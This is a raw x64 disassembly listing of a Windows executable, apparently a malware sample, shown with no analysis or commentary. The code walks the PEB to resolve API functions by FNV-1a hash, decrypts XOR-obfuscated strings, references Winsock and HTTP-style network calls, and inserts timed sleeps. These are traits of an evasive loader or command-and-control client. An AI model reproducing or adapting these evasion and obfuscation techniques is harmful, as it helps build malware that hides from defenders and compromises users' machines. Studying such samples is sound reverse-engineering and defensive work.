mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x14007f2e0
lea rcx, [rsp + 0x38]
call r11
mov ecx, 1
call fcn.14007ba14
mov rdi, rax
mov byte [rax], 0x5a
mov ecx, 1
call fcn.14007ba14
mov rbx, rax
mov byte [rax], 0x4b
mov ecx, ntohl
call fcn.14007bd68
mov rsi, rax
mov dword [rax], 0x44733264
mov byte [rax + 4], gethostname
movzx ecx, byte [rdi]
add cl, 7
mov byte [rax + 5], cl
mov byte [rax + 6], 0x41
movzx ecx, byte [rbx]
mov byte [rax + 7], cl
mov byte [rax + 8], 0x47
movzx ecx, byte [r13]
mov byte [rax + 9], cl
mov byte [rax + 0xa], 0x67
mov edx, 1
mov rcx, rdi
call fcn.14007b770
mov edx, 1
mov rcx, rbx
call fcn.14007b770
mov ecx, recv
call fcn.14007bd68
mov r13, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r10, qword [rcx + 0x30]
test r10, r10
je 0x14007f434
cmp word ds:[rcx + 0x48], 0
je 0x14007f434
movsxd rax, dword [r10 + 0x3c]
mov ebx, dword [rax + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007f434
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007f434
mov r11d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x58c8615
movzx eax, byte [r8]
inc r8
test al, al
je 0x14007f42f
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x14007f410
cmp edx, 0x843c6534
je 0x14007f43c
test r9d, r9d
jne 0x14007f3f0
mov rcx, qword [rcx]
jmp 0x14007f3b0
mov edx, dword ds:[rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov r8d, recv
mov rdx, rsi
mov rcx, r13
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007f4f4
cmp word [rax + 0x48], 0
je 0x14007f4f4
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007f4f4
mov r9d, dword ds:[rbx + 0x18]
test r9d, r9d
je 0x14007f4f4
mov r11d, dword [rbx + 0x20]
nop dword [rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x7d23e13b
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007f4ef
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007f4d0
cmp edx, 0x5d9924b8
je 0x14007f4fc
test r9d, r9d
jne 0x14007f4b0
mov rax, qword [rax]
jmp 0x14007f473
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor edx, edx
lea r8d, [rdx + 0xb]
mov rcx, rsi
call rax
mov rcx, rsi
call fcn.14007b770
mov byte [r13 + 0xb], 0
mov edx, 1
mov rcx, qword [rbp - 0x28]
call fcn.14007b770
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.14007ba14
mov rbx, rax
mov qword [rbp - 0x28], rax
mov rdx, r13
lea rcx, [rbp - 0x60]
call fcn.140003e10
mov r8, rax
lea rdx, [rsp + 0x38]
lea rcx, [0x1400c76a0]
call fcn.14002c0c8
mov ecx, dword ds:[rbp - 0x10]
or ecx, 4
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r15
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
test cl, 4
je 0x14007f5af
lea rcx, [rsp + 0x38]
call fcn.140004800
call qword [fcn.14002e180]
mov rdi, rax
test rax, rax
jne 0x14007f5eb
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14007f5ca
mov rax, qword [rbx]
mov qword [rbx + 0x10], r15
mov byte [rax], 0
mov rcx, rbx
call fcn.140004800
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, rbx
call fcn.14007b770
jmp 0x14007f68e
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14007f5f8
mov r8, qword [rbx]
mov edx, 0x2712
mov rcx, rdi
call qword [fcn.140030980]
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14007f613
mov rax, qword [rbx]
mov qword ds:[rbx + 0x10], r15
mov byte [rax], 0
mov rcx, rbx
call fcn.140004800
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, rbx
call fcn.14007b770
lea r8, [0x1400808c0]
mov edx, 0x4e2b
mov rcx, rdi
call qword [fcn.140030980]
mov ecx, Ordinal_27
call fcn.14007ba14
mov r14, rax
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
mov r8, rax
mov edx, 0x2711
mov rcx, rdi
call qword [fcn.140030980]
mov rcx, rdi
call qword [fcn.14002e240]
mov ebx, eax
mov rcx, rdi
call qword [fcn.14002e160]
test ebx, ebx
je 0x14007f9c5
movups xmm0, xmmword [str.w_FWUT_]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1400b7d08]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [str.:0_645_]
movups xmmword [rbp + 0xa0], xmm0
mov eax, dword [0x1400b7d28]
mov dword [rbp + 0xb0], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007f754
cmp word [rax + 0x48], 0
je 0x14007f754
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007f754
mov r9d, dword ds:[rbx + 0x18]
test r9d, r9d
je 0x14007f754
mov r11d, dword [rbx + 0x20]
nop dword [rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0xb44a8769
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007f74f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007f730
cmp edx, 0x646bafa6
je 0x14007f75c
test r9d, r9d
jne 0x14007f710
mov rax, qword [rax]
jmp 0x14007f6d5
mov edx, dword ds:[rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x14007f8c6
movdqa xmm5, xmmword [0x1400b84a0]
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm6, xmmword [0x1400b84c0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp + 0x80]
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14007f7c0
nop
cmp r8d, 0x34
jge 0x14007f910
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x14007f8e0
lea rcx, [rbp + 0x80]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007f9b8
cmp word ds:[rax + 0x48], 0
je 0x14007f9b8
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007f9b8
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007f9b8
mov r11d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x56b35531
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007f9b3
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007f990
cmp edx, 0xfd85e0b4
je 0x14007fc79
test r9d, r9d
jne 0x14007f970
mov rax, qword ds:[rax]
jmp 0x14007f930
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007fa54
cmp word [rax + 0x48], 0
je 0x14007fa54
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007fa54
mov r9d, dword ds:[rbx + 0x18]
test r9d, r9d
je 0x14007fa54
mov r11d, dword [rbx + 0x20]
nop dword [rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x9214e6b8
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007fa4f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007fa30
cmp edx, 0x21038bdf
je 0x14007fa5c
test r9d, r9d
jne 0x14007fa10
mov rax, qword [rax]
jmp 0x14007f9d6
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor edx, edx
lea r8d, [rdx + 0xc]
mov rcx, r13
call rax
mov rcx, r13
call fcn.14007b770
cmp byte [0x1400c78b0], 0
jne 0x14007fc9c
mov rax, qword [0x1400b7ad8]
mov qword ds:[rbp - 0x30], rax
cmp r12d, 2
jl 0x14007fba2
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm2, xmmword [0x1400b84a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b84c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x30]
xorps xmm2, xmm1
movd dword [rbp - 0x30], xmm2
movdqa xmm3, xmmword [0x1400b84b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b84c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x2c]
xorps xmm2, xmm1
movd dword [rbp - 0x2c], xmm2
jmp 0x14007fbe6
lea r9, [rbp - 0x30]
mov r8d, r15d
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14007fbb0
lea rcx, [rbp - 0x30]
call fcn.140005b20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007fc74
cmp word [rax + 0x48], 0
je 0x14007fc74
movsxd rcx, dword ds:[r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007fc74
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007fc74
mov r11d, dword [rbx + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0xf5f4fcce
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007fc6f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007fc50
cmp edx, 0xfc6cf2d1
je 0x14007fc79
test r9d, r9d
jne 0x14007fc32
mov rax, qword [rax]
jmp 0x14007fc00
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x7d0
call rax
jmp 0x140080611
mov dword [rbp + 0x40], r15d
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.14007ba14
mov rbx, rax
mov qword [rbp - 0x28], rax
movups xmm0, xmmword [str._QFEWW]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400b7be0]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x1400b7be4]
mov byte [rax + 0x14], cl
lea rcx, [0x1400c76a0]
call fcn.1400203a8
cmp byte [0x1400c78b0], 0
je 0x1400805df
cmp byte [rbx + 0x14], 0
je 0x14007fe70
mov r8d, r15d
cmp r12d, 2
jl 0x14007fe35
movdqa xmm5, xmmword [0x1400b84a0]
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm6, xmmword [0x1400b84c0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rbp], xmm0
mov rcx, rbx
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007fd30
cmp r8d, 0x15
jge 0x14007fe70
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14007fe40
mov rdx, rbx
lea rcx, [0x1400c78b8]
call fcn.1400097c0
nop
cmp rax, 0xffffffffffffffff
je 0x1400805df
cmp qword [0x1400c78c8], 0
je 0x1400805df
lea rcx, [0x1400c76a0]
nop
call fcn.140020e04
test al, al
jne 0x1400805df
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], al
lea edx, [rax + 0x15]
mov rcx, rbx
call fcn.14007b770
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0x90], xmm1
movups xmmword [rbp + 0xa0], xmm1
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm1
movups xmmword [rbp + 0xd0], xmm1
mov qword [rbp + 0xe0], rax
mov word [rbp - 0x18], r15w
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007ff94
cmp word [rax + 0x48], 0
je 0x14007ff94
movsxd rcx, dword ds:[r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007ff94
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007ff94
mov r11d, dword [rbx + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x103ba28b
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007ff8f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007ff70
cmp edx, 0x98478659
je 0x14007ff99
test r9d, r9d
jne 0x14007ff52
mov rax, qword [rax]
jmp 0x14007ff20
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp - 0x18]
call rax
mov r12, rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r15
mov rbx, qword [r14 + 8]
sub rbx, qword [r14]
je 0x140080030
movabs rax, 0x7fffffffffffffff
nop
cmp rbx, rax
ja 0x140080736
mov qword [rbp - 0x28], rbx
lea rdx, [rbp - 0x28]
call fcn.14000d8c0
mov rsi, rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
lea rcx, [rax + rbx]
mov qword [rsp + 0x48], rcx
mov rdi, qword [r14 + 8]
mov rbx, qword [r14]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
sub rsi, rbx
add rsi, rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x18]
lea r8, [rsp + 0x38]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x48]
call fcn.140081820
test al, al
mov rax, qword [r14]
je 0x140080505
cmp rax, qword [r14 + 8]
je 0x140080063
mov qword [r14 + 8], rax
mov rcx, r14
call fcn.140007940
mov eax, dword [str.PXF6__R_Y8]
mov dword [rbp - 0x10], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x140080105
cmp word [rax + 0x48], 0
je 0x140080105
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140080105
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140080105
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x579e8669
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400800ff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400800e0
cmp edx, 0xa6ad72c8
je 0x14008010d
nop
test r9d, r9d
jne 0x1400800c0
mov rax, qword [rax]
jmp 0x140080085
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400801ac
movdqa xmm3, xmmword [0x1400b84a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b8550]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b8550]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400b84c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
movd xmm0, dword [rbp - 0x10]
xorps xmm2, xmm0
movd dword [rbp - 0x10], xmm2
jmp 0x1400801f0
lea r9, [rbp - 0x10]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400801c0
cmp rax, qword [r14 + 8]
je 0x14008050f
mov qword [r14 + 8], rax
mov rcx, r14
call fcn.140007940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x1400805b4
cmp word ds:[rax + 0x48], 0
je 0x1400805b4
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400805b4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400805b4
mov r11d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x10f8cdd0
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400805af
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140080590
cmp edx, 0x7d5e9f83
je 0x1400805bc
test r9d, r9d
jne 0x140080570
mov rax, qword [rax]
jmp 0x140080530
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0xbb8
call rax
mov ebx, dword [rbp + 0x40]
jmp 0x140080616
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], al
lea edx, [rax + 0x15]
jmp 0x140080604
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
mov byte [rbx + 0x20], al
lea edx, [rax + 0x21]
mov rcx, rbx
call fcn.14007b770
call fcn.1400855c0
mov ebx, 1
mov rdx, qword ds:[rbp + 0x38]
cmp rdx, 0xf
jbe 0x14008065a
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140080655
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140080655
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b770
mov qword ds:[rbp + 0x30], r15
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], 0
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x130]
call fcn.1400095e0
lea rcx, [rbp + 0x110]
call fcn.140004800
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x1400806ba
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400806ba
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword ds:[rbp + 0x78]
cmp rdx, 7
jbe 0x1400806ff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400806fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400806fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b770
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.14007b750
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000bac0
nop
nop dword [rax]
call fcn.140003170
nop
lea r8, [rsp + 0x38]
lea rcx, str.status
call fcn.140004720
nop
lea r8, [rsp + 0x38]
mov edx, eax
lea rcx, str.create_directory
call fcn.140004720
nop
call fcn.140003220
int3